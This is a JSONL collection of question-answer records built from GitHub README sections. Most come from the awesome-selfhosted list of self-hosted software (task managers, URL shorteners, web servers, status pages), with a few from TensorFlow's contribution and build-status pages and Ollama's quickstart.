{"id": "gh_2dfb71f50272", "question": "How to: Software Development - Testing", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nTools and software for [software testing](https://en.wikipedia.org/wiki/Software_testing).\n\n- [Bencher](https://bencher.dev/) - Suite of continuous benchmarking tools designed to catch performance regressions in CI. ([Source Code](https://github.com/bencherdev/bencher)) `MIT/Apache-2.0` `Rust`\n- [WebHook Tester](https://github.com/tarampampam/webhook-tester) - Powerful tool for testing WebHooks and more. `MIT` `Docker/Go/deb/K8S`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557654"}
{"id": "gh_f65d8e097ada", "question": "How to: Static Site Generators", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Static site generators](https://en.wikipedia.org/wiki/Web_template_system#Static_site_generators) generate full static HTML websites based on raw data, plain text files and a set of templates. \n\n**Please visit [staticsitegenerators.bevry.me](https://staticsitegenerators.bevry.me), [staticgen.com](https://www.staticgen.com)**\n\n_Related: [Blogging Platforms](#blogging-platforms), [Photo Galleries](#photo-galleries), [Content Management Systems (CMS)](#content-management-systems-cms)_", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557658"}
{"id": "gh_ba19c854a74d", "question": "How to: Status / Uptime pages", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Uptime](https://en.wikipedia.org/wiki/Uptime) is a measure of system reliability, expressed as the percentage of time a machine, typically a computer, has been working and available. \n\n_Related: [Monitoring](#monitoring)_\n\n- [cState](https://cstate.netlify.app/) - Static status page for hyperfast Hugo. Clean design, minimal JS, super light HTML/CSS, high customization, optional admin panel, read-only API, IE8+. Best used with Netlify, Docker. ([Demo](https://cstate.mnts.lt/), [Source Code](https://github.com/cstate/cstate)) `MIT` `Go`\n- [Gatus](https://gatus.io/) - Automated service health dashboard. ([Demo](https://status.twin.sh), [Source Code](https://github.com/TwiN/gatus)) `Apache-2.0` `Docker/K8S`\n- [kener](https://kener.ing/) - Status page with incident management, easy to use and customize. ([Demo](https://kener.ing/), [Source Code](https://github.com/rajnandan1/kener)) `MIT` `Nodejs/Docker`\n- [Kuvasz Uptime](https://kuvasz-uptime.dev) - Performant, stable uptime & SSL monitoring service with brandable status pages, IAC support, Prometheus integration and a complete REST API. ([Demo](https://kuvasz-uptime.dev/demo/), [Source Code](https://github.com/kuvasz-uptime/kuvasz)) `Apache-2.0` `Docker`\n- [StatPing.ng](https://statping-ng.github.io/) - An easy to use Status Page for your websites and applications. Statping will automatically fetch the application and render a beautiful status page with tons of features for you to build an even better status page. ([Source Code](https://github.com/statping-ng/statping-ng)) `GPL-3.0` `Docker/Go`\n- [Uptime Kuma](https://uptime.kuma.pet/) - Self-hosted website monitoring tool like \"Uptime Robot\". ([Demo](https://demo.kuma.pet), [Source Code](https://github.com/louislam/uptime-kuma)) `MIT` `Docker/Nodejs`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557665"}
{"id": "gh_ec678a9ca5ae", "question": "How to: Task Management & To-do Lists", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Task management](https://en.wikipedia.org/wiki/Task_management#Task_management_software) software.\n\n_Related: [Software Development - Project Management](#software-development---project-management), [Ticketing](#ticketing)_\n\n- [4ga Boards](https://4gaboards.com) - Straightforward realtime kanban boards management for intuitive task tracking. Featuring an elegant dark mode, collapsible todo lists, and multitasking tools to supercharge your team's productivity. ([Demo](https://demo.4gaboards.com), [Source Code](https://github.com/RARgames/4gaBoards)) `MIT` `Nodejs/Docker/K8S`\n- [AppFlowy](https://appflowy.io/) - Build detailed lists of to-do’s for different projects while tracking the status of each one. Open Source Notion Alternative. ([Source Code](https://github.com/AppFlowy-IO/appflowy)) `AGPL-3.0` `Rust/Dart/Docker`\n- [Donetick](https://donetick.com) - Task and chore management tool for personal and family use, with advanced scheduling, flexible assignment, and group sharing capabilities, detailed history, automation via API, simple and modern design. ([Demo](https://app.donetick.com/), [Source Code](https://github.com/donetick/donetick)) `AGPL-3.0` `Go/Docker`\n- [Focalboard](https://www.focalboard.com/) - Define, organize, track and manage work across individuals and teams (alternative to Trello, Notion and Asana). ([Source Code](https://github.com/mattermost-community/focalboard), [Clients](https://www.focalboard.com/download/personal-edition/desktop/)) `MIT/AGPL-3.0/Apache-2.0` `Nodejs/Go/Docker`\n- [Kanboard](https://kanboard.org/) - Simple visual task board. ([Source Code](https://github.com/kanboard/kanboard)) `MIT` `PHP`\n- [Listaway](https://github.com/jeffrpowell/listaway/) - List management app for creating and publicly sharing lists of items. Supports auth, admin tools, item notes and priorities, and opt-in public read-only links with randomized URLs (alternative to Amazon Lists). ([Source Code](https://github.com/jeffrpowell/listaway)) `MIT` `Docker`\n- [myTinyTodo](https://www.mytinytodo.net/) - Simple way to manage your todo list in AJAX style. Uses PHP, jQuery, SQLite/MySQL. GTD compliant. ([Demo](https://www.mytinytodo.net/demo/), [Source Code](https://github.com/maxpozdeev/mytinytodo/)) `GPL-2.0` `PHP`\n- [Nullboard](https://github.com/apankrat/nullboard) - Single-page minimalist kanban board; compact, highly readable and quick to use. ([Demo](https://nullboard.io/preview)) `BSD-2-Clause` `Javascript`\n- [Our Shopping List](https://github.com/nanawel/our-shopping-list) - Simple shared list application including shopping lists and any other small todo-list that needs to be used collaboratively. ([Demo](https://osl.lanterne-rouge.info/)) `AGPL-3.0` `Docker`\n- [Planka](https://planka.app/) - Realtime kanban board for workgroups (alternative to Trello). ([Demo](https://plankanban.github.io/planka/#/), [Source Code](https://github.com/plankanban/planka)) `AGPL-3.0` `Nodejs/Docker/K8S`\n- [Task Keeper](https://github.com/nymanjens/piga) - List editor for power users, backed by a self-hosted server. `Apache-2.0` `Scala`\n- [Tasks.md](https://github.com/BaldissaraMatheus/Tasks.md) - A self-hosted, file based task management board that supports Markdown syntax. `MIT` `Docker`\n- [Taskwarrior](https://taskwarrior.org/) - Taskwarrior is Free and Open Source Software that manages your TODO list from your command line. It is flexible, fast, efficient, and unobtrusive. It does its job then gets out of your way. ([Source Code](https://taskwarrior.org/download/#git)) `MIT` `C++`\n- [Tracks](https://www.getontracks.org/) - Web-based application to help you implement David Allen’s [Getting Things Done™](https://en.wikipedia.org/wiki/Getting_Things_Done) methodology. ([Source Code](https://github.com/TracksApp/tracks)) `GPL-2.0` `Ruby`\n- [tududi](https://tududi.com/) - Task management tool with hierarchical structure, smart recurring tasks, and seamless Telegram integration. ([Source Code](https://github.com/chrisvel/tududi)) `MIT` `Docker`\n- [Vikunja](https://vikunja.io/) - The to-do app to organize your life. ([Demo](https://try.vikunja.io/login), [Source Code](https://kolaente.dev/vikunja/)) `GPL-3.0` `Go`\n- [Wekan](https://wekan.github.io/) - Open-source Trello-like kanban. ([Source Code](https://github.com/wekan/wekan)) `MIT` `Nodejs`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557676"}
{"id": "gh_6295bb9af7d9", "question": "How to: Time Tracking", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Time-tracking software](https://en.wikipedia.org/wiki/Time-tracking_software) is a category of computer software that allows its users to record time spent on tasks or projects.\n\n- [ActivityWatch](https://activitywatch.net) - Automatically track how you spend time on your devices. ([Source Code](https://github.com/ActivityWatch/activitywatch)) `MPL-2.0` `Python`\n- [Beaver Habit Tracker](https://github.com/daya0576/beaverhabits) - Habit tracking app to save your precious moments in your fleeting life. ([Demo](https://beaverhabits.com/demo)) `BSD-3-Clause` `Docker`\n- [Ever Gauzy](https://gauzy.co) - Open business management platform for collaborative, on-demand and sharing economies (ERP/CRM/HRM/ATS/PM). ([Demo](https://demo.gauzy.co), [Source Code](https://github.com/ever-co/ever-gauzy)) `AGPL-3.0` `Docker/Nodejs`\n- [Kimai](https://www.kimai.org/) - Track work time and print out a summary of your activities on demand. ([Demo](https://www.kimai.org/demo/), [Source Code](https://github.com/kimai/kimai)) `AGPL-3.0` `PHP`\n- [solidtime](https://www.solidtime.io) - Modern time tracking application for freelancers and agencies. ([Source Code](https://github.com/solidtime-io/solidtime)) `AGPL-3.0` `Docker`\n- [TimeTagger](https://timetagger.app) - An open source time-tracker based on an interactive timeline and powerful reporting. ([Demo](https://timetagger.app/app/demo), [Source Code](https://github.com/almarklein/timetagger)) `GPL-3.0` `Python`\n- [Traggo](https://traggo.net/) - Traggo is a tag-based time tracking tool. In Traggo there are no tasks, only tagged time spans. ([Source Code](https://github.com/traggo/server)) `GPL-3.0` `Docker/Go`\n- [Wakapi](https://wakapi.dev/) - Tracking tool for coding statistics, compatible with WakaTime. ([Source Code](https://github.com/muety/wakapi)) `GPL-3.0` `Go/Docker`\n- [Ziit](https://ziit.app) - The Swiss army knife of code time tracking (alternative to WakaTime). ([Source Code](https://github.com/0pandadev/ziit)) `AGPL-3.0` `Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557684"}
{"id": "gh_034e5722cdcf", "question": "How to: URL Shorteners", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[URL shortening](https://en.wikipedia.org/wiki/URL_shortening) is the action of shortening a [URL](https://en.wikipedia.org/wiki/Uniform_Resource_Locator) to make it substantially shorter and still direct to the required page. Before hosting one, please see [disadvantages](https://en.wikipedia.org/wiki/URL_shortening#Disadvantages) of URL shorteners.\n\n- [bit](https://github.com/sjdonado/bit) - Fast, lightweight, resource-efficient, compiled URL shortener. `MIT` `Docker/Crystal`\n- [Chhoto URL](https://github.com/SinTan1729/chhoto-url) - Simple, lightning-fast URL shortener with no bloat (fork of simply-shorten). ([Demo](https://github.com/SinTan1729/chhoto-url?tab=readme-ov-file#demo), [Clients](https://github.com/SinTan1729/chhoto-url/blob/main/TOOLS.md)) `MIT` `Rust/Docker`\n- [clink](https://git.crueter.xyz/crueter/clink) - A super-minimal link shortening service written in pure C, focusing on small executable size, portability, and ease of configuration. ([Demo](https://short.crueter.xyz)) `AGPL-3.0` `C`\n- [Flink](https://gitlab.com/rtraceio/web/flink) - Create QR Codes, embeddable link previews for your website and crawls/scrapes metadata. ([Demo](https://flink.is)) `MIT` `Docker`\n- [Kutt](https://kutt.it) - Modern URL shortener with support for custom domains and custom URLs. ([Demo](https://kutt.it), [Source Code](https://github.com/thedevs-network/kutt)) `MIT` `Nodejs/Docker`\n- [rs-short](https://git.42l.fr/42l/rs-short) - Lightweight link shortener written in Rust, with features such as caching, spambot protection and phishing detection. ([Demo](https://s.42l.fr/)) `MPL-2.0` `Rust`\n- [Shlink](https://shlink.io) - URL shortener with REST API and command line interface. Includes official progressive web application and docker images. ([Source Code](https://github.com/shlinkio/shlink), [Clients](https://shlink.io/apps)) `MIT` `PHP/Docker`\n- [Simple-URL-Shortener](https://github.com/azlux/Simple-URL-Shortener) - KISS URL shortener, public or private (with account). Minimalist and lightweight. No dependencies. ([Demo](https://u.azlux.fr)) `MIT` `PHP`\n- [YOURLS](https://yourls.org/) - YOURLS is a set of PHP scripts that will allow you to run Your Own URL Shortener. Features include password protection, URL customization, bookmarklets, statistics, API, plugins, jsonp. ([Source Code](https://github.com/YOURLS/YOURLS)) `MIT` `PHP`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557691"}
{"id": "gh_b238d44faf4d", "question": "How to: Video Surveillance", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nVideo surveillance, also known as [Closed-circuit television (CCTV)](https://en.wikipedia.org/wiki/Closed-circuit_television), is the use of video cameras for surveillance in areas that require additional security or ongoing monitoring.\n\n_Related: [Media Streaming - Video Streaming](#media-streaming---video-streaming)_\n\n- [Bluecherry](https://www.bluecherrydvr.com/) - Closed-circuit television (CCTV) software application which supports IP and Analog cameras. ([Source Code](https://github.com/bluecherrydvr/bluecherry-apps)) `GPL-2.0` `PHP`\n- [Frigate](https://frigate.video/) - Monitor your security cameras with locally processed AI. ([Source Code](https://github.com/blakeblackshear/frigate)) `MIT` `Docker/Python/Nodejs`\n- [motionEye](https://github.com/motioneye-project/motioneye) - Online interface for the software Motion, a video surveillance program with motion detection. `GPL-3.0` `Python/Docker`\n- [SentryShot](https://codeberg.org/SentryShot/sentryshot) - Video surveillance management system. `GPL-2.0` `Docker/Rust`\n- [Viseron](https://viseron.netlify.app/) - Self-hosted, local-only NVR and AI Computer Vision software. With features such as object detection, motion detection, face recognition and more, it gives you the power to keep an eye on your home, office or any other place you want to monitor. ([Source Code](https://github.com/roflcoopter/viseron)) `MIT` `Docker`\n- [Zoneminder](https://www.zoneminder.com/) - Closed-circuit television (CCTV) software application which supports IP, USB and Analog cameras. ([Source Code](https://github.com/ZoneMinder/ZoneMinder)) `GPL-2.0` `PHP/deb`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557696"}
{"id": "gh_0736a98872ba", "question": "How to: Web Servers", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nWeb Servers and Reverse Proxies. A [web server](https://en.wikipedia.org/wiki/Web_server) is a piece of software and underlying hardware that accepts requests via [HTTP](https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol) (the network protocol created to distribute web content) or its secure variant [HTTPS](https://en.wikipedia.org/wiki/HTTPS). A [Reverse Proxy](https://en.wikipedia.org/wiki/Reverse_proxy) is a proxy server that appears to any client to be an ordinary web server, but in reality merely acts as an intermediary that forwards requests to one or more ordinary web servers.\n\n_Related: [Proxy](#proxy)_\n\n- [Algernon](https://algernon.roboticoverlords.org/) - Small self-contained pure-Go web server with Lua, Markdown, HTTP/2, QUIC, Redis and PostgreSQL support. ([Source Code](https://github.com/xyproto/algernon)) `BSD-3-Clause` `Go/Docker`\n- [Apache HTTP Server](https://httpd.apache.org/) - Secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards. ([Source Code](https://svn.apache.org/repos/asf/httpd/httpd/trunk/)) `Apache-2.0` `C/deb/Docker`\n- [BunkerWeb](https://www.bunkerweb.io) - Next-gen Web Application Firewall (WAF) that will protect your web services. ([Demo](https://demo.bunkerweb.io), [Source Code](https://github.com/bunkerity/bunkerweb), [Clients](https://docs.bunkerweb.io/latest/plugins/)) `AGPL-3.0` `deb/Docker/K8S/Python`\n- [Caddy](https://caddyserver.com/) - Powerful, enterprise-ready, open source web server with automatic HTTPS. ([Source Code](https://github.com/caddyserver/caddy)) `Apache-2.0` `Go/deb/Docker`\n- [go-doxy](https://github.com/yusing/godoxy) - Lightweight, simple, and  performant reverse proxy with WebUI, Docker integration, automatic shutdown/startup for container based on traffic. `MIT` `Docker/Go`\n- [godoxy](https://docs.godoxy.dev/) - High-performance reverse proxy and container orchestrator for self-hosters. ([Demo](https://demo.godoxy.dev/), [Source Code](https://github.com/yusing/godoxy)) `MIT` `Docker/Go`\n- [HAProxy](https://www.haproxy.org/) - Very fast and reliable reverse-proxy offering high availability, load balancing, and proxying for TCP and HTTP-based applications. ([Source Code](https://git.haproxy.org/?p=haproxy.git;a=tree)) `GPL-2.0` `C/deb/Docker`\n- [Jauth](https://github.com/Jipok/Jauth) `⚠` - Lightweight SSL/TLS reverse proxy with authorization (via Telegram and SSH) for self-hosted apps. `GPL-3.0` `Go`\n- [Lighttpd](https://www.lighttpd.net/) - Secure, fast, compliant, and very flexible web server that has been optimized for high-performance environments. ([Source Code](https://git.lighttpd.net/lighttpd/lighttpd1.4)) `BSD-3-Clause` `C/deb/Docker`\n- [Nginx Proxy Manager](https://nginxproxymanager.com/) - Docker container for managing Nginx proxy hosts with a simple, powerful interface. ([Source Code](https://github.com/NginxProxyManager/nginx-proxy-manager)) `MIT` `Docker`\n- [NGINX](https://nginx.org/en/) - HTTP and reverse proxy server, mail proxy server, and generic TCP/UDP proxy server. ([Source Code](https://github.com/nginx/nginx)) `BSD-2-Clause` `C/deb/Docker`\n- [Pangolin](https://digpangolin.com/) - Identity-aware tunneled reverse proxy with dashboard UI, access control, and WireGuard-based tunnels (alternative to Cloudflare Tunnel, Tailscale). ([Source Code](https://github.com/fosrl/pangolin)) `AGPL-3.0` `Docker`\n- [Pomerium](https://www.pomerium.io) - Identity-aware reverse proxy, successor to now obsolete oauth_proxy. It inserts an OAuth step before proxying your request to the backend, so that you can safely expose your self-hosted websites to public Internet. ([Source Code](https://github.com/pomerium/pomerium)) `Apache-2.0` `Go/Docker`\n- [SafeLine](https://waf.chaitin.com/) - Web application firewall / reverse proxy to protect your web apps from attacks and exploits. ([Demo](https://demo.waf.chaitin.com/), [Source Code](https://github.com/chaitin/SafeLine)) `GPL-3.0` `Docker`\n- [Static Web Server](https://static-web-server.net/) - Cross-platform, high-performance, and asynchronous web server for static file serving. ([Source Code](https://github.com/static-web-server/static-web-server)) `Apache-2.0/MIT` `Rust/Docker`\n- [SWAG (Secure Web Application Gateway)](https://github.com/linuxserver/docker-swag) - Nginx webserver and reverse proxy with PHP support, built-in Certbot (Let's Encrypt) client and fail2ban integration. `GPL-3.0` `Docker`\n- [Traefik](https://traefik.io/) - HTTP reverse proxy and load balancer that makes deploying microservices easy. ([Source Code](https://github.com/traefik/traefik)) `MIT` `Go/Docker`\n- [UUSEC WAF](https://uuwaf.uusec.com) - Industry-leading high-performance, AI and semantic technology web application firewall and API security gateway (fork of nginx). ([Source Code](https://github.com/Safe3/uusec-waf)) `GPL-3.0` `C/Lua/Docker`\n- [Varnish](https://varnish-cache.org/) - Web application accel", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557710"}
{"id": "gh_df4f679d5db8", "question": "How to: Anti-features", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "- `⚠ ` - Depends on a proprietary service outside the user's control\n\n--------------------", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 268515, "answer_score": 10, "has_code": false, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557728"}
{"id": "gh_dd89733c744f", "question": "How to: External Links", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n- Alternative frontends/portals to discover/filter awesome-selfhosted apps: [awweso.me](https://awweso.me/), [awesome-web.theravenhub](https://awesome-web.theravenhub.com/browse.html), [awesomehub.web.app](https://awesomehub.js.org/list/selfhosted)\n- [Awesome Sysadmin](https://github.com/awesome-foss/awesome-sysadmin) - Curated list of amazingly awesome open source sysadmin resources.\n- Lists of software aimed at privacy and decentralization in some form: [PRISM Break](https://prism-break.org/en/), [privacytools.io](https://www.privacytools.io/), [Alternative Internet](https://redecentralize.github.io/alternative-internet/), [Libre Projects](https://libreprojects.net/), [Easy Indie App](https://easyindie.app)\n- Other Awesome lists: [Awesome Big Data](https://github.com/0xnr/awesome-bigdata), [Awesome Public Datasets](https://github.com/awesomedata/awesome-public-datasets)\n- Dynamic Domain Name services: [Afraid.org](https://freedns.afraid.org/domain/registry/), [Pagekite](https://pagekite.net/)\n- Communities/forums: [/c/selfhosted on lemmy.world](https://lemmy.world/c/selfhosted), [/c/selfhost on lemmy.ml](https://lemmy.ml/c/selfhost), [/r/selfhosted on reddit](https://old.reddit.com/r/selfhosted/), [/r/selfhosted Matrix Channel](https://matrix.to/#/#selfhosted:selfhosted.chat), [/r/homelab on reddit](https://old.reddit.com/r/homelab/), [IndieWeb](https://indieweb.org/)\n- [theme.park](https://theme-park.dev/) - A collection of themes/skins for 50 selfhosted apps! ([Source Code](https://github.com/GilbN/theme.park/)) `MIT` `CSS`\n\n--------------------", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557734"}
{"id": "gh_bc959a776c45", "question": "How to: Contributing", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "Contributing guidelines can be found [here](https://github.com/awesome-selfhosted/awesome-selfhosted-data/blob/master/CONTRIBUTING.md).", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 268515, "answer_score": 10, "has_code": false, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557738"}
{"id": "gh_93cbd699d48d", "question": "How to: Contribution guidelines", "question_body": "About tensorflow/tensorflow", "answer": "**If you want to contribute to TensorFlow, be sure to review the\n[Contribution Guidelines](CONTRIBUTING.md). This project adheres to TensorFlow's\n[Code of Conduct](CODE_OF_CONDUCT.md). By participating, you are expected to\nuphold this code.**\n\n**We use [GitHub Issues](https://github.com/tensorflow/tensorflow/issues) for\ntracking requests and bugs, please see\n[TensorFlow Forum](https://discuss.tensorflow.org/) for general questions and\ndiscussion, and please direct specific questions to\n[Stack Overflow](https://stackoverflow.com/questions/tagged/tensorflow).**\n\nThe TensorFlow project strives to abide by generally accepted best practices in\nopen-source software development.", "tags": ["tensorflow"], "source": "github_gists", "category": "tensorflow", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 193375, "answer_score": 10, "has_code": false, "url": "https://github.com/tensorflow/tensorflow", "collected_at": "2026-01-16T23:28:55.181261"}
{"id": "gh_72a2f25f537b", "question": "How to: Patching guidelines", "question_body": "About tensorflow/tensorflow", "answer": "Follow these steps to patch a specific version of TensorFlow, for example, to\napply fixes to bugs or security vulnerabilities:\n\n*   Clone the TensorFlow repository and switch to the appropriate branch for\n    your desired version—for example, `r2.8` for version 2.8.\n*   Apply the desired changes (i.e., cherry-pick them) and resolve any code\n    conflicts.\n*   Run TensorFlow tests and ensure they pass.\n*   [Build](https://www.tensorflow.org/install/source) the TensorFlow pip\n    package from source.", "tags": ["tensorflow"], "source": "github_gists", "category": "tensorflow", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 193375, "answer_score": 10, "has_code": true, "url": "https://github.com/tensorflow/tensorflow", "collected_at": "2026-01-16T23:28:55.181275"}
{"id": "gh_2962e0fd4c51", "question": "How to: Continuous build status", "question_body": "About tensorflow/tensorflow", "answer": "You can find more community-supported platforms and configurations in the\n[TensorFlow SIG Build Community Builds Table](https://github.com/tensorflow/build#community-supported-tensorflow-builds).", "tags": ["tensorflow"], "source": "github_gists", "category": "tensorflow", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 193375, "answer_score": 10, "has_code": false, "url": "https://github.com/tensorflow/tensorflow", "collected_at": "2026-01-16T23:28:55.181281"}
{"id": "gh_a5dbf36d8618", "question": "How to: Official Builds", "question_body": "About tensorflow/tensorflow", "answer": "Build Type                    | Status                                                                                                                                                                           | Artifacts\n----------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------\n**Linux CPU**                 | [![Status](https://storage.googleapis.com/tensorflow-kokoro-build-badges/ubuntu-cc.svg)](https://storage.googleapis.com/tensorflow-kokoro-build-badges/ubuntu-cc.html)           | [PyPI](https://pypi.org/project/tf-nightly/)\n**Linux GPU**                 | [![Status](https://storage.googleapis.com/tensorflow-kokoro-build-badges/ubuntu-gpu-py3.svg)](https://storage.googleapis.com/tensorflow-kokoro-build-badges/ubuntu-gpu-py3.html) | [PyPI](https://pypi.org/project/tf-nightly-gpu/)\n**Linux XLA**                 | [![Status](https://storage.googleapis.com/tensorflow-kokoro-build-badges/ubuntu-xla.svg)](https://storage.googleapis.com/tensorflow-kokoro-build-badges/ubuntu-xla.html)         | TBA\n**macOS**                     | [![Status](https://storage.googleapis.com/tensorflow-kokoro-build-badges/macos-py2-cc.svg)](https://storage.googleapis.com/tensorflow-kokoro-build-badges/macos-py2-cc.html)     | [PyPI](https://pypi.org/project/tf-nightly/)\n**Windows CPU**               | [![Status](https://storage.googleapis.com/tensorflow-kokoro-build-badges/windows-cpu.svg)](https://storage.googleapis.com/tensorflow-kokoro-build-badges/windows-cpu.html)       | [PyPI](https://pypi.org/project/tf-nightly/)\n**Windows GPU**               | [![Status](https://storage.googleapis.com/tensorflow-kokoro-build-badges/windows-gpu.svg)](https://storage.googleapis.com/tensorflow-kokoro-build-badges/windows-gpu.html)       | [PyPI](https://pypi.org/project/tf-nightly-gpu/)\n**Android**                   | [![Status](https://storage.googleapis.com/tensorflow-kokoro-build-badges/android.svg)](https://storage.googleapis.com/tensorflow-kokoro-build-badges/android.html)               | [Download](https://bintray.com/google/tensorflow/tensorflow/_latestVersion)\n**Raspberry Pi 0 and 1**      | [![Status](https://storage.googleapis.com/tensorflow-kokoro-build-badges/rpi01-py3.svg)](https://storage.googleapis.com/tensorflow-kokoro-build-badges/rpi01-py3.html)           | [Py3](https://storage.googleapis.com/tensorflow-nightly/tensorflow-1.10.0-cp34-none-linux_armv6l.whl)\n**Raspberry Pi 2 and 3**      | [![Status](https://storage.googleapis.com/tensorflow-kokoro-build-badges/rpi23-py3.svg)](https://storage.googleapis.com/tensorflow-kokoro-build-badges/rpi23-py3.html)           | [Py3](https://storage.googleapis.com/tensorflow-nightly/tensorflow-1.10.0-cp34-none-linux_armv7l.whl)\n**Libtensorflow MacOS CPU**   | Status Temporarily Unavailable                                                                                                                                                   | [Nightly Binary](https://storage.googleapis.com/libtensorflow-nightly/prod/tensorflow/release/macos/latest/macos_cpu_libtensorflow_binaries.tar.gz) [Official GCS](https://storage.googleapis.com/tensorflow/)\n**Libtensorflow Linux CPU**   | Status Temporarily Unavailable                                                                                                                                                   | [Nightly Binary](https://storage.googleapis.com/libtensorflow-nightly/prod/tensorflow/release/ubuntu_16/latest/cpu/ubuntu_cpu_libtensorflow_binaries.tar.gz) [Official GCS](https://storage.googleapis.com/tensorflow/)\n**Libtensorflow Linux GPU**   | Status Temporarily Unavailable                                                                                                                                                   | [Nightly Binary](https://storage.googleapis.com/libtensorflow-nightly/prod/tensorflow/release/ubuntu_16/latest/gpu/ubuntu_gpu_libtensorflow_binaries.tar.gz) [Official GCS](https://storage.googleapis.com/tensorflow/)\n**Libtensorflow Windows CPU** | Status Temporarily Unavailable                                                                                                                                                   | [Nightly Binary](https://storage.googleapis.com/libtensorflow-nightly/prod/tensorflow/release/windows/latest/cpu/windows_cpu_libtensorflow_binaries.tar.gz) [Official GCS](https://storage.googleapis.com/tensorflow/)\n**Libtensorflow Windows GPU** | Status Temporarily Unavailable                                                                                                                                                   | [Nightly Binary](https://storage.googleapis.com/libtensorflow-nightly/prod/tensorflow/release/windows/latest/gpu/windows_gpu_libtensorflow_binaries.tar.gz) [Official GCS](https://storage.googleapis.com/tensorflow/)", "tags": ["tensorflow"], "source": "github_gists", "category": "tensorflow", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 193375, "answer_score": 10, "has_code": true, "url": "https://github.com/tensorflow/tensorflow", "collected_at": "2026-01-16T23:28:55.181291"}
{"id": "gh_9ed83ba3695e", "question": "How to: Quickstart", "question_body": "About ollama/ollama", "answer": "To run and chat with [Gemma 3](https://ollama.com/library/gemma3):\n\n```shell\nollama run gemma3\n```", "tags": ["ollama"], "source": "github_gists", "category": "ollama", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 159601, "answer_score": 10, "has_code": true, "url": "https://github.com/ollama/ollama", "collected_at": "2026-01-16T23:28:59.490012"}
